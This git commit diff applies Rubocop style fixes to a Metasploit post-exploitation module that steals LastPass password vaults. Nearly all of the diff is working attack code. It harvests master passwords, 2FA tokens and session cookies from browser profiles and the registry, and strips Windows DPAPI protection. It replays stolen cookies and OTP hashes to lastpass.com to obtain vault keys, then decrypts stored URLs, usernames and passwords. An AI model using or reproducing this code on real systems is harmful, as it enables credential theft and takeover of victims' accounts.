Perform Rubocop cleanup

This commit is contained in:
Martin Vigo
2015-12-19 23:33:32 -08:00
parent 2fc940cc3e
commit 2ddac42be7
+60 -62
View File
@@ -101,7 +101,7 @@ class Metasploit3 < Msf::Post
'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
}
cookies_path_map = { #TODO
cookies_path_map = { # TODO
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
'Firefox' => "", # It's set programmatically
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
@@ -119,7 +119,7 @@ class Metasploit3 < Msf::Post
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
}
cookies_path_map = { #TODO
cookies_path_map = { # TODO
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
'Firefox' => "", # It's set programmatically
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
@@ -157,9 +157,9 @@ class Metasploit3 < Msf::Post
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") if data.blank?
paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != "Low\\LastPass" # Hacky way to detect if there is access to user's data (attacker has no root access)
elsif browser == "Firefox" # Special case for Firefox
paths |= firefox_profile_files(path, browser)
paths |= firefox_profile_files(path)
else
paths |= file_paths(path, browser, account)
paths |= file_paths(path)
end
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
@@ -195,13 +195,11 @@ class Metasploit3 < Msf::Post
end
# Extracts the databases paths from the given folder ignoring . and ..
def file_paths(path, browser, account)
def file_paths(path)
found_dbs_paths = []
files = []
if directory?(path)
files = directory_entries(path)
end
files = directory_entries(path) if directory?(path)
files.each do |file_path|
unless %w(. .. Shared).include?(file_path)
found_dbs_paths.push([path, file_path].join(system_separator))
@@ -212,7 +210,7 @@ class Metasploit3 < Msf::Post
end
# Returns the profile files for Firefox
def firefox_profile_files(path, browser)
def firefox_profile_files(path)
found_dbs_paths = []
if directory?(path)
@@ -231,7 +229,7 @@ class Metasploit3 < Msf::Post
credentials = []
data = nil
if(prefs_path == nil) # IE
if prefs_path.nil? # IE
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers")
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers") if data.blank?
return [] if data.blank?
@@ -243,10 +241,10 @@ class Metasploit3 < Msf::Post
# Extract master passwords
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginPws")
data = Base64.encode64(data) if !data.blank?
data = Base64.encode64(data) unless data.blank?
else # Firefox
loot_path = loot_file(prefs_path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file")
return [] if !loot_path
return [] unless loot_path
File.readlines(loot_path).each do |line|
if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
usernames = encoded_users.split("|")
@@ -269,7 +267,7 @@ class Metasploit3 < Msf::Post
creds_per_user.each_with_index do |user_creds, index|
parts = user_creds.split('=')
for creds in credentials
creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
end
end
credentials
@@ -281,7 +279,7 @@ class Metasploit3 < Msf::Post
if encrypted_data.include?("|") # Use CBC
decipher = OpenSSL::Cipher.new("AES-256-CBC")
decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
encrypted_data = encrypted_data[26..-1] #Take only the data part
encrypted_data = encrypted_data[26..-1] # Take only the data part
else # Use ECB
decipher = OpenSSL::Cipher.new("AES-256-ECB")
end
@@ -310,12 +308,12 @@ class Metasploit3 < Msf::Post
unless ieffcreds.blank?
ieffcreds.each do |creds|
if creds[1].blank? # No master password found
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => nil}
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => nil }
else
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1]))
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => creds[1]}
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => creds[1] }
end
end
end
@@ -335,7 +333,7 @@ class Metasploit3 < Msf::Post
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]}
account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
end
end
end
@@ -343,19 +341,19 @@ class Metasploit3 < Msf::Post
end
end
#Extracts the 2FA token from localStorage
# Extracts the 2FA token from localStorage
def extract_2fa_tokens(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
if browser.match(/Firefox|IE/)
path = lp_data['localstorage_db'] + system_separator + "lp.suid"
data = read_remote_file(path) if file_exists?(path) #Read file if it exists
data = read_remote_file(path) if file_exists?(path) # Read file if it exists
data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection
loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
account_map[account][browser]['lp_2fa'] = data
else # Chrome, Safari and Opera
loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
if !loot_path.blank?
unless loot_path.blank?
db = SQLite3::Database.new(loot_path)
token = db.execute(
"SELECT hex(value) FROM ItemTable " \
@@ -368,7 +366,7 @@ class Metasploit3 < Msf::Post
end
end
#Print all extracted LastPass data
# Print all extracted LastPass data
def print_lastpass_data(account_map)
lastpass_data_table = Rex::Ui::Text::Table.new(
'Header' => "LastPass Accounts",
@@ -418,7 +416,7 @@ class Metasploit3 < Msf::Post
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
"SELECT data FROM LastPassData " \
"WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'accts'"
"WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username) + "' AND type = 'accts'"
)
if result.size == 1 && !result[0].blank?
@@ -447,12 +445,12 @@ class Metasploit3 < Msf::Post
if !user_data['lp_password'].blank? && user_data['iterations'] != nil # Derive vault key from credentials
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
else # Get vault key decrypting the locally stored one or from the disabled OTP
if !browser_checked
unless browser_checked
decrypt_local_vault_key(account, browser_map)
browser_checked = true
end
if lp_data['lp_creds'][username]['vault_key'] == nil # If no vault key was found yet, try with dOTP
otpbin = extract_otpbin(account, browser, username, lp_data)
if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
otpbin = extract_otpbin(browser, username, lp_data)
otpbin.blank? ? next : otpbin = otpbin[0..31]
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
end
@@ -475,7 +473,7 @@ class Metasploit3 < Msf::Post
data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
next if data.blank?
if /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id
loot_path = loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB")
loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB")
session_cookie_value = session_cookie_value_match
break
end
@@ -526,12 +524,12 @@ class Metasploit3 < Msf::Post
# Use the cookie to obtain the encryption key to decrypt the vault key
uri = URI('https://lastpass.com/login_check.php')
request = Net::HTTP::Post.new(uri)
request.set_form_data("wxsessid" => URI.unescape(session_cookie_value),"uuid" => browser_map['lp_2fa'])
request.set_form_data("wxsessid" => URI.unescape(session_cookie_value), "uuid" => browser_map['lp_2fa'])
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
# Parse response
next if !response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired
next unless response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired
decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey\="([a-z0-9]+)"/)[1])
username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]
@@ -544,36 +542,36 @@ class Metasploit3 < Msf::Post
end
# Returns otp, encrypted_key
def extract_otpbin(account, browser, username, lp_data)
def extract_otpbin(browser, username, lp_data)
if browser.match(/Firefox|IE/)
if browser == "Firefox"
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
else # IE
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + ".sotp"
end
otpbin = read_remote_file(path) if file_exists?(path) #Read file if it exists
otpbin = read_remote_file(path) if file_exists?(path) # Read file if it exists
otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/)
return otpbin
else # Chrome, Safari and Opera
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
"SELECT type, data FROM LastPassData " \
"WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'"
"WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username) + "' AND type = 'otp'"
)
return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack("H*")
end
end
def derive_vault_key_from_creds username, password, key_iteration_count
def derive_vault_key_from_creds(username, password, key_iteration_count)
if key_iteration_count == 1
key = Digest::SHA256.hexdigest username + password
key = Digest::SHA256.hexdigest username + password
else
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
end
key
end
def decrypt_vault_key_with_otp username, otpbin
def decrypt_vault_key_with_otp(username, otpbin)
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*"
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
decrypt_data(vault_key_decryption_key, encrypted_vault_key)
@@ -581,14 +579,14 @@ class Metasploit3 < Msf::Post
def retrieve_encrypted_vault_key_with_otp username, otpbin
# Derive login hash from otp
otp_token = lastpass_sha256( lastpass_sha256( username + otpbin ) + otpbin ) # OTP login hash
otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash
# Make request to LastPass
uri = URI('https://lastpass.com/otp.php')
request = Net::HTTP::Post.new(uri)
request.set_form_data("login" => 1, "xml" => 1, "hash" => otp_token, "otpemail" => URI.escape(username), "outofbandsupported" => 1, "changepw" => otp_token)
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) {|http| http.request(request) }
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
# Parse response
encrypted_vault_key = nil
@@ -631,21 +629,21 @@ class Metasploit3 < Msf::Post
rg = session.railgun
pid = session.sys.process.getpid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(data.length+200)
mem = process.memory.allocate(data.length + 200)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
if session.sys.process.each_process.find { |i| i["pid"] == pid } ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
else
addr = Rex::Text.pack_int64le(mem)
len = Rex::Text.pack_int64le(data.length)
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
pData = ret["pDataOut"].unpack("VVVV")
len = pData[0] + (pData[1] << 32)
addr = pData[2] + (pData[3] << 32)
addr = Rex::Text.pack_int64le(mem)
len = Rex::Text.pack_int64le(data.length)
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
pData = ret["pDataOut"].unpack("VVVV")
len = pData[0] + (pData[1] << 32)
addr = pData[2] + (pData[3] << 32)
end
return "" if len == 0
@@ -661,7 +659,7 @@ class Metasploit3 < Msf::Post
'Indent' => 1,
'Columns' => %w(URL Username Password)
)
if user_data['vault_loot'] == nil # Was a vault found?
if user_data['vault_loot'].nil? # Was a vault found?
print_error "No vault was found for #{username}"
next
end
@@ -679,8 +677,8 @@ class Metasploit3 < Msf::Post
# Parse vault
vault = Base64.decode64(encoded_vault)
vault.scan(/ACCT/) do |result|
chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1]+3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk
chunk = vault[$~.offset(0)[0]..$~.offset(0)[1]+chunk_length] # Get ACCT chunk
chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1] + 3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk
chunk = vault[$~.offset(0)[0]..$~.offset(0)[1] + chunk_length] # Get ACCT chunk
account_data = parse_vault_account(chunk, user_data['vault_key'])
lastpass_vault_data_table << account_data if account_data != nil
end
@@ -694,15 +692,15 @@ class Metasploit3 < Msf::Post
end
end
def parse_vault_account(chunk, vaultKey)
def parse_vault_account(chunk, vault_key)
pointer = 22 # Starting position to find data to decrypt
labels = ["name", "folder", "url", "notes", "undefined", "undefined2", "username", "password"]
vault_data = []
for label in labels
length = chunk[pointer..pointer+3].unpack("H*").first.to_i(16)
encrypted_data = chunk[pointer+4..pointer+4+length-1]
label != "url" ? decrypted_data = decrypt_vault_password(vaultKey, encrypted_data) : decrypted_data = [encrypted_data].pack("H*")
decrypted_data = "" if decrypted_data == nil
length = chunk[pointer..pointer + 3].unpack("H*").first.to_i(16)
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
label != "url" ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack("H*")
decrypted_data = "" if decrypted_data.nil?
vault_data << decrypted_data if (label == "url" || label == "username" || label == "password")
pointer = pointer + 4 + length
end
@@ -732,8 +730,8 @@ class Metasploit3 < Msf::Post
# Reads a remote file and loots it
def loot_file(path, data, title, type, description)
data = read_remote_file(path) if data == nil # If no data is passed, read remote file
return nil if data == nil
data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
return nil if data.nil?
loot_path = store_loot(
title,
@@ -762,9 +760,9 @@ class Metasploit3 < Msf::Post
begin
root_key, base_key = session.sys.registry.splitkey(key)
reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
return nil if not reg_key
return nil unless reg_key
reg_value = reg_key.query_value(value)
return nil if not reg_value
return nil unless reg_value
rescue
vprint_error "Error reading registry key #{key} and value #{value}"
end
@@ -781,7 +779,7 @@ class Metasploit3 < Msf::Post
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
"SELECT data FROM LastPassData " \
"WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'key'"
"WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username) + "' AND type = 'key'"
)
encrypted_vault_key = result[0][0]
end